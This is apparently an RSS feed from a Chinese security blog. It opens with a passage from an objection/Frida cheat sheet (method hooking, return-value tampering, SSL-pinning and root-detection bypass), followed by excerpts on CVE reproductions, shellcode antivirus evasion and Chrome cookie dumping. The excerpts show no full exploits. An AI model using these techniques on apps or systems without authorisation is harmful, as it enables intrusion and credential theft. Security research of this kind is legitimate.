&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android heap search instances xxx
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主动调用指定实例的函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android heap execute instance_ID &lt;span class="k"&gt;function&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# hook指定类的所有方法, 会打印该类下的所有调用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking watch class com.xxx.xxx			
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# hook指定方法, 如果有重载会hook所有重载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking watch class_method com.xxx.xxx.methodName
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 以上命令支持下面参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --dump-args : 打印参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --dump-backtrace : 打印调用栈&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --dump-return : 打印返回值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# eg:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking watch class_method com.xxx.xxx.methodName --dump-args --dump-backtrace --dump-return
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking &lt;span class="nb"&gt;set&lt;/span&gt; return_value com.xxx.xxx.methodName &lt;span class="nb"&gt;false&lt;/span&gt;	&lt;span class="c1"&gt;# 设置返回值(只支持bool类型)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成某个类的hook js代码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android hooking generate simple com.xxx.xxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="任务管理"&gt;任务管理&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 列举出当前任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;jobs&lt;/span&gt; list
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 关闭任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;jobs&lt;/span&gt; &lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;job_id&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="文件操作"&gt;文件操作&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 文件基本操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file download
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file upload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file cat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 文件服务器，在当前目录下启动一个http server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file http start/stop/status
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="抓包"&gt;抓包&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#关闭ssl校验
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;android sslpinning disable
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="其他操作"&gt;其他操作&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 打印出应用程序文件、缓存和其他目录的位置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;env&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 对APP隐藏root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;android&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;disable&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;android&lt;/span&gt; &lt;span class="n"&gt;shell_exec&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 截屏&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;android&lt;/span&gt; &lt;span class="n"&gt;ui&lt;/span&gt; &lt;span class="n"&gt;screenshot&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sdcard&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 导入外部js脚本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="spawn"&gt;spawn&lt;/h3&gt;
&lt;p&gt;上面的介绍中，obejction采用attach附加模式进行Hook，这可能会让我们错过较早的Hook时机，可以通过如下的代码以spawn模式启动objection&lt;/p&gt;</description></item><item><title>一次服务器被入侵挖矿处理</title><link>https://saucer-man.com/information_security/901.html</link><pubDate>Mon, 14 Mar 2022 08:57:00 +0000</pubDate><guid>https://saucer-man.com/information_security/901.html</guid><description>&lt;p&gt;某天风和日丽，在家里网上冲浪，突然收到一条腾讯云的告警信息：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2022/03/1064806702.png" alt="2022-03-14T05:55:40.png"&gt;&lt;/p&gt;
&lt;p&gt;查了一下，发现是我之前撸了一台腾讯云的优惠机器，但是一直处于半闲置状态，只是需要的时候拿来测试一下，还好上面什么东西都没有。&lt;/p&gt;
&lt;h2 id="1-响应"&gt;1. 响应&lt;/h2&gt;
&lt;p&gt;第一步先登上去打算排查一下，看下是不是误报。&lt;/p&gt;
&lt;p&gt;先top下，看一下cpu占用：&lt;/p&gt;</description></item><item><title>关于那年背考cissp的日子</title><link>https://saucer-man.com/information_security/898.html</link><pubDate>Wed, 09 Mar 2022 15:25:00 +0000</pubDate><guid>https://saucer-man.com/information_security/898.html</guid><description>&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;p&gt;2022年3月8号，顺利通过cissp的考试，最近也是一直在复习，所以简单总结一下这段经历。&lt;/p&gt;
&lt;h2 id="2-为什么要考cissp"&gt;2. 为什么要考cissp&lt;/h2&gt;
&lt;p&gt;其实做安全，很容易迷茫，有时候觉得自己什么都不会，但是又比较懒，搞二进制也没什么成果，搞web又很烂大街，经常陷入一些自我否定的想法。&lt;/p&gt;</description></item><item><title>CVE-2021-4034 pkexec提权漏洞分析</title><link>https://saucer-man.com/information_security/876.html</link><pubDate>Wed, 26 Jan 2022 14:57:00 +0000</pubDate><guid>https://saucer-man.com/information_security/876.html</guid><description>&lt;h2 id="1-漏洞描述"&gt;1. 漏洞描述&lt;/h2&gt;
&lt;p&gt;2022-01-25，CVE-2021-4034利用详情发布，该漏洞是&lt;a href="https://www.qualys.com/"&gt;Qualys&lt;/a&gt;研究团队在polkit的pkexec中发现的一个内存损坏漏洞，允许非特权用户获取root权限。根据作者的发布文章说，在默认安装的Ubuntu、Debian、Fedora和CentOS上都已经成功复现。这个漏洞已经隐藏了12年多，并影响自2009年5月第一个版本以来的所有pkexec版本：&lt;a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/c8c3d835d24fc4ce5a9c596c7d55d85a0311e8d1"&gt;（commit c8c3d83，“Add a pkexec(1) command”）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;polkit是一个授权管理器，其系统架构由授权和身份验证代理组成，如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2022/01/4153611350.png" alt="2022-01-26T14:58:00.png"&gt;&lt;/p&gt;
&lt;p&gt;其中授权以基于system message bus上的服务实现，polkit没有取代系统已有的权限系统，而是在已有的群组和管理员上进行管控。如果开发时需要用到linux上的身份认证，可以基于polkit框架，编写rule授权规则实现。&lt;/p&gt;</description></item><item><title>log4j2漏洞CVE-2021-44228复现</title><link>https://saucer-man.com/information_security/870.html</link><pubDate>Mon, 17 Jan 2022 12:15:00 +0000</pubDate><guid>https://saucer-man.com/information_security/870.html</guid><description>&lt;h2 id="1-漏洞描述"&gt;1. 漏洞描述&lt;/h2&gt;
&lt;p&gt;12 月 10 日凌晨，Apache Log4j2存在任意代码执行漏洞细节被公开，经过分析，该组件存在Java JNDI注入漏洞，当程序将用户输入的数据进行日志，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。&lt;/p&gt;
&lt;p&gt;Log4j 是一款开源Java日志记录工具。Log4j2是对Log4j的升级，此次漏洞正是由用于Log4j2提供的lookup功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。&lt;/p&gt;</description></item><item><title>CVE-2021-43798 Grafana 任意文件读取漏洞分析</title><link>https://saucer-man.com/information_security/856.html</link><pubDate>Wed, 08 Dec 2021 12:13:00 +0000</pubDate><guid>https://saucer-man.com/information_security/856.html</guid><description>&lt;h2 id="1漏洞描述"&gt;1.漏洞描述&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/grafana/grafana"&gt;Grafana&lt;/a&gt;是一个跨平台、开源的数据可视化网络应用程序平台。只要给它输入一段数据流，就可以进行各种数据图表展示，总之很炫酷。之前也用过一段时间的grafana，安全态势感知必备，（手动dog）&lt;/p&gt;
&lt;p&gt;2021-12-07，CVE-2021-43798利用详情被公开爆出，未授权用户也可以读取任意文件。这个任意文件读，其实不能直接getshell，但是可以配合读取配置文件和其他漏洞，进行综合利用。&lt;/p&gt;
&lt;h2 id="2漏洞版本"&gt;2.漏洞版本&lt;/h2&gt;
&lt;p&gt;v8.0.0-beta1 到 v8.3.0&lt;/p&gt;
&lt;p&gt;这个版本不是特别严谨，因为涉及到小版本的修复，可以看官方通告：https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/&lt;/p&gt;</description></item><item><title>CVE-2021-22205 GitLab未授权RCE复现</title><link>https://saucer-man.com/information_security/846.html</link><pubDate>Thu, 18 Nov 2021 06:58:00 +0000</pubDate><guid>https://saucer-man.com/information_security/846.html</guid><description>&lt;h2 id="1-漏洞描述和原理"&gt;1. 漏洞描述和原理&lt;/h2&gt;
&lt;p&gt;当GitLab中的ExifTool处理图像文件时，会检查文件扩展名是否为jpg、jpeg、tiff，符合条件的文件会交由ExifTool进行处理。但ExifTool会尝试通过文件内容确定文件格式，当其解析DjVu文件注释时，tok将被转换为 C 转义序列。攻击者可以在DjVu文件中插入恶意perl代码，并将其扩展名改为jpg、jpeg或tiffd以绕过GitLab中的检查，从而在ExifTool中触发漏洞，最终在GitLab CE/EE服务器上远程执行代码。&lt;/p&gt;</description></item><item><title>python代码打包和逆向</title><link>https://saucer-man.com/information_security/825.html</link><pubDate>Wed, 03 Nov 2021 17:37:00 +0000</pubDate><guid>https://saucer-man.com/information_security/825.html</guid><description>&lt;p&gt;python代码不太适合打包，但是由于用户多，总是有一些小众的需求需要打包，尤其是一些gui小工具，于是来研究下这块，做个记录。&lt;/p&gt;
&lt;h2 id="1-python代码打包方案测试"&gt;1. python代码打包方案测试&lt;/h2&gt;
&lt;p&gt;下面是我之前测试打包flask写的web app写的笔记，测试下来的话：Nuitka速度最快，性能最好；pyinstaller的兼容性最好。&lt;/p&gt;</description></item><item><title>golang分离加载shellcode实现免杀</title><link>https://saucer-man.com/information_security/815.html</link><pubDate>Fri, 08 Oct 2021 12:02:00 +0000</pubDate><guid>https://saucer-man.com/information_security/815.html</guid><description>&lt;p&gt;20221202更新：本文方法已失效，无法对抗动态查杀。&lt;/p&gt;
&lt;p&gt;整体利用思路：生成器生成AES加密的Shellcode, 加载器代码中无Shellcode,参数接受。&lt;/p&gt;
&lt;h2 id="1-生成shellcode"&gt;1. 生成shellcode&lt;/h2&gt;
&lt;p&gt;以下以cs为例：attacks -&amp;gt; packages -&amp;gt; payload generator -&amp;gt; C&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/10/4280010043.png" alt="2021-10-08T11:32:42.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/10/4266844786.png" alt="2021-10-08T11:35:41.png"&gt;&lt;/p&gt;
&lt;h2 id="2-加密shellcode"&gt;2. 加密shellcode&lt;/h2&gt;
&lt;p&gt;利用生成器生成aes加密的shellcode&lt;/p&gt;</description></item><item><title>ios自动化控制的几种方案</title><link>https://saucer-man.com/private/801.html</link><pubDate>Mon, 27 Sep 2021 07:22:00 +0000</pubDate><guid>https://saucer-man.com/private/801.html</guid><description>&lt;h2 id="1-虫洞"&gt;1. 虫洞&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://bbs.er.run/"&gt;https://bbs.er.run/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在电脑上投屏实时控制手机，支持控制ios，但是不支持同时控制，同时商业软件需要付费。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/09/762493645.png" alt="2021-09-27T06:41:50.png"&gt;&lt;/p&gt;
&lt;h2 id="2-usbmuxd"&gt;2. USBMuxd&lt;/h2&gt;
&lt;p&gt;参考 &lt;a href="https://reetyo.github.io/2019/04/09/2019-04-09/"&gt;https://reetyo.github.io/2019/04/09/2019-04-09/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;usbmuxd 是苹果的一个服务，这个服务主要用于在USB协议上实现多路TCP连接，将USB通信抽象为TCP通信。将 USB 的端口映射到本机的 TCP 端（基于 Unix Domain Socket），苹果的iTunes、Xcode，都直接或间接地用到了这个服务。只要实现了 USBMuxd，非 OSX 系统也能与iPhone 系统进行通信，例如 Windows 和 Linux。&lt;/p&gt;</description></item><item><title>安卓自动化控制的几种方案</title><link>https://saucer-man.com/private/796.html</link><pubDate>Mon, 27 Sep 2021 03:19:00 +0000</pubDate><guid>https://saucer-man.com/private/796.html</guid><description>&lt;h2 id="1-什么是群控"&gt;1. 什么是群控&lt;/h2&gt;
&lt;p&gt;群控的过程也就是自动化操纵手机的过程，所以这个问题也可以称作app自动化测试方案调研，原理过程相同，目的不同而已。&lt;/p&gt;
&lt;h2 id="2-如何模拟人点击屏幕"&gt;2. 如何模拟人点击屏幕&lt;/h2&gt;
&lt;p&gt;正常使用时，点击屏幕的过程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/09/323027441.png" alt="2021-09-27T03:02:00.png"&gt;&lt;/p&gt;
&lt;p&gt;从用户点击屏幕开始，触发中断，在内核态执行以下流程&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2021/09/1148787175.png" alt="2021-09-27T03:02:38.png"&gt;&lt;/p&gt;
&lt;p&gt;直到进入用户态，开始访问设备驱动文件，进行事件的监听和分发操作，一步步走到UI层显示给用户。由整个流程可以看出用户态会走很多下发流程，如果在这些过程中能够构造点击事件传入，依然能够在UI层显示给用户。&lt;/p&gt;</description></item><item><title>MacOS下无密码dump chrome cookie</title><link>https://saucer-man.com/information_security/787.html</link><pubDate>Thu, 09 Sep 2021 09:04:00 +0000</pubDate><guid>https://saucer-man.com/information_security/787.html</guid><description>&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;p&gt;在后渗透中，获取用户凭证是很重要的一步，其中就包括浏览器的各种敏感信息。包括浏览记录、下载历史
cookie、书签等等。&lt;/p&gt;
&lt;p&gt;在windows和linux上我们可以很轻易的获取各种浏览器的敏感信息，cs也有很多插件可以使用，hack-browser-data 就是是一个浏览器数据（包括密码、历史记录、Cookie、书签、信用卡、下载记录）的导出工具，支持全平台主流浏览器，其github主页为https://github.com/moonD4rk/HackBrowserData&lt;/p&gt;</description></item><item><title>Exchange CVE-2021-34473 RCE复现</title><link>https://saucer-man.com/information_security/776.html</link><pubDate>Fri, 27 Aug 2021 19:09:00 +0000</pubDate><guid>https://saucer-man.com/information_security/776.html</guid><description>&lt;h1 id="1-漏洞描述"&gt;1. 漏洞描述&lt;/h1&gt;
&lt;p&gt;今年的Blackhat演讲中，Orange Tsai对其在上一阶段对Microsoft Exchange Server进行的安全研究进行了分享，除了前一段时间已经公开的proxylogon，还带来了ProxyShell等漏洞的有关具体细节。&lt;/p&gt;
&lt;p&gt;其中包括&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CVE-2021-34473 Microsoft Exchange ACL绕过漏洞&lt;/li&gt;
&lt;li&gt;CVE-2021-34523 Microsoft Exchange权限提升漏洞&lt;/li&gt;
&lt;li&gt;CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻击者可通过组合这些漏洞在未经身份验证的情况下远程接管目标服务器。&lt;/p&gt;</description></item><item><title>Exchange CVE-2021-26855 RCE漏洞复现</title><link>https://saucer-man.com/information_security/748.html</link><pubDate>Fri, 27 Aug 2021 19:07:00 +0000</pubDate><guid>https://saucer-man.com/information_security/748.html</guid><description>&lt;h1 id="1-漏洞描述"&gt;1. 漏洞描述&lt;/h1&gt;
&lt;p&gt;2021年三月，微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CVE-2021-26855: 服务端请求伪造（SSRF）漏洞，通过该漏洞，攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证，获取权限。&lt;/li&gt;
&lt;li&gt;CVE-2021-26857: 是统一消息服务中的不安全反序列化漏洞。通过该此漏洞，具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。&lt;/li&gt;
&lt;li&gt;CVE-2021-26858/CVE-2021-27065: 任意文件写入漏洞，在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;漏洞无需验证和交互即可触发远程代码执行，危害极大。&lt;/p&gt;</description></item><item><title>pocassist源码阅读</title><link>https://saucer-man.com/information_security/741.html</link><pubDate>Wed, 18 Aug 2021 12:58:00 +0000</pubDate><guid>https://saucer-man.com/information_security/741.html</guid><description>&lt;h2 id="0-背景"&gt;0. 背景&lt;/h2&gt;
&lt;p&gt;xray的出现，带来了yaml格式的poc扫描脚本，但是由于xray是不开源的，所以也没有研究过这种扫描器的加载方式和优缺点。直到某一天看到&lt;a href="https://github.com/projectdiscovery/nuclei"&gt;nuclei&lt;/a&gt;，让我有想法看看yaml格式的poc扫描器是怎么写的，以至于为什么使用yaml作为poc的编写方式，但是鸽到现在&amp;hellip;&lt;/p&gt;
&lt;p&gt;前段时间又看到各大论坛公众号转的pocassist，也看到了作者写的扫描器构思文章：https://forum.butian.net/share/160 。于是终于把阅读源码提上了日程。&lt;/p&gt;</description></item><item><title>编写一个简单的xposed模块</title><link>https://saucer-man.com/machine_learning/725.html</link><pubDate>Sun, 08 Aug 2021 14:56:00 +0000</pubDate><guid>https://saucer-man.com/machine_learning/725.html</guid><description>&lt;p&gt;xposed和magisk作为刷机佬熟悉的东西，就不多说了，本文主要是记录一下xposed模块怎么编写，比较简单，大神略过。&lt;/p&gt;
&lt;p&gt;（这里的xposed也就是EdXposed：https://github.com/ElderDrivers/EdXposed）&lt;/p&gt;</description></item><item><title>frida初探1：认识frida</title><link>https://saucer-man.com/information_security/716.html</link><pubDate>Mon, 02 Aug 2021 09:45:00 +0000</pubDate><guid>https://saucer-man.com/information_security/716.html</guid><description>&lt;p&gt;Frida是一个很常用的Hook工具，动态代码插桩工具，可以将JavaScript代码注入android、ios等等程序中。它使用了“客户端-服务端”模型，并利用Frida内核和谷歌v8引擎hook进程，具体做法是将QuickJS注入到目标进程中，插入的js可以完全访问内存，函数等。&lt;/p&gt;</description></item><item><title>利用微信打造各类监控消息推送</title><link>https://saucer-man.com/operation_and_maintenance/707.html</link><pubDate>Tue, 06 Jul 2021 16:20:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/707.html</guid><description>&lt;h2 id="1-背景"&gt;1. 背景&lt;/h2&gt;
&lt;p&gt;在日常的工作生活中，经常用到长期后台运行的程序，比如子域名监控，github监控，各种论坛签到，网站动态监控等等，这些都可以归结为属于定时任务，每天跑一次或者每小时跑一次，这种程序有个痛点就是状态监测，比如今天论坛签到成功了吗？今天github发现新的漏洞了吗？&lt;/p&gt;</description></item><item><title>java urldns利用链分析</title><link>https://saucer-man.com/information_security/647.html</link><pubDate>Tue, 22 Jun 2021 02:39:00 +0000</pubDate><guid>https://saucer-man.com/information_security/647.html</guid><description>&lt;h2 id="1-java反序列化"&gt;1. java反序列化&lt;/h2&gt;
&lt;p&gt;序列化和反序列化是一种常见的编程思想，序列化就是将对象转化成字节流，便于保存在内存、文件或者数据库中(保存此对象的状态)，序列化就是将字节流转化为对象。&lt;/p&gt;
&lt;p&gt;在java中，某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口，便可以被序列化。比如下面的类：&lt;/p&gt;</description></item><item><title>java 反射研究</title><link>https://saucer-man.com/information_security/640.html</link><pubDate>Tue, 22 Jun 2021 02:34:00 +0000</pubDate><guid>https://saucer-man.com/information_security/640.html</guid><description>&lt;h2 id="1-为什么需要java反射"&gt;1. 为什么需要java反射&lt;/h2&gt;
&lt;p&gt;java 代码在 new 某个类生成对象之前，都需要先 import 这个类，否则在编译时 jvm 会提示找不到这个类。&lt;/p&gt;
&lt;p&gt;但是有些场景需要在没有 import 这个类的情况下调用这个类的某个方法。这个时候可以使用 java 反射，在运行时动态获取类的方法、属性、父类、接口等。&lt;/p&gt;
&lt;p&gt;反射是 java 漏洞利用的基础，我们一般使用 java.lang.Runtime 类去执行命令，但是一般代码中都不会用到这个类，所以我们需要利用反射动态调用 Runtime 的方法，比如 exec 方法，去执行任意命令。&lt;/p&gt;</description></item><item><title>android手机刷机root教程</title><link>https://saucer-man.com/else/692.html</link><pubDate>Fri, 04 Jun 2021 02:17:00 +0000</pubDate><guid>https://saucer-man.com/else/692.html</guid><description>&lt;h2 id="1-为什么需要root权限"&gt;1. 为什么需要root权限&lt;/h2&gt;
&lt;p&gt;安卓是基于 linux 内核的系统，在 linux 中用户分为 root 账户和普通用户，在安卓系统中也是一样，普通用户权限较小。&lt;/p&gt;
&lt;p&gt;在安卓设备出厂时，由于运营商和硬件制造商的限制，用户通常不具有 root 权限，所以当我们需要对系统做一些高级操作时，获取 root 权限通常就很必要了。下面是获取 root 权限的好处：&lt;/p&gt;</description></item><item><title>Android抓包的常见姿势</title><link>https://saucer-man.com/information_security/669.html</link><pubDate>Wed, 02 Jun 2021 02:38:00 +0000</pubDate><guid>https://saucer-man.com/information_security/669.html</guid><description>&lt;p&gt;这里总结一下安卓 app 抓包的常见姿势，如有错误，还请各位大佬指正。&lt;/p&gt;
&lt;p&gt;抓包代理工具有很多种，比如常见的 fiddler、burpsuite、Charls，或者是可以抓 tcp/udp 层的 wireshark 。因为大部分 app 使用的 http 协议，所以这里我只考虑了抓取 http 协议包，选取 burpsuite 作为代理工具。如果使用其他抓包工具，大同小异类比着来就行了。&lt;/p&gt;</description></item><item><title>微信小程序反编译教程</title><link>https://saucer-man.com/information_security/660.html</link><pubDate>Mon, 24 May 2021 12:29:00 +0000</pubDate><guid>https://saucer-man.com/information_security/660.html</guid><description>&lt;p&gt;本文使用的环境为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mac + mumu模拟器（windows同理）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="1-安装基础环境"&gt;1. 安装基础环境&lt;/h2&gt;
&lt;p&gt;首先依次安装下列的工具&lt;/p&gt;
&lt;h3 id="11-微信开发者工具"&gt;1.1 微信开发者工具&lt;/h3&gt;
&lt;p&gt;下载地址： &lt;a href="https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html"&gt;https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;只支持windows和mac&lt;/p&gt;
&lt;h3 id="12-nodejs"&gt;1.2 nodejs&lt;/h3&gt;
&lt;p&gt;下载地址：https://nodejs.org/zh-cn/download/&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ node --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;v14.17.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ npm --version 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6.14.13
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="13-mumu模拟器"&gt;1.3 mumu模拟器&lt;/h3&gt;
&lt;p&gt;下载地址：https://mumu.163.com/&lt;/p&gt;</description></item><item><title>关于ip伪造的原理探究</title><link>https://saucer-man.com/network/629.html</link><pubDate>Fri, 07 May 2021 11:52:00 +0000</pubDate><guid>https://saucer-man.com/network/629.html</guid><description>&lt;p&gt;昨天有个朋友问我ip伪造的可行性，以前没深入了解过，于是上网搜索了一番，发现syn flood普遍利用了伪造源ip的方式进行攻击。&lt;/p&gt;
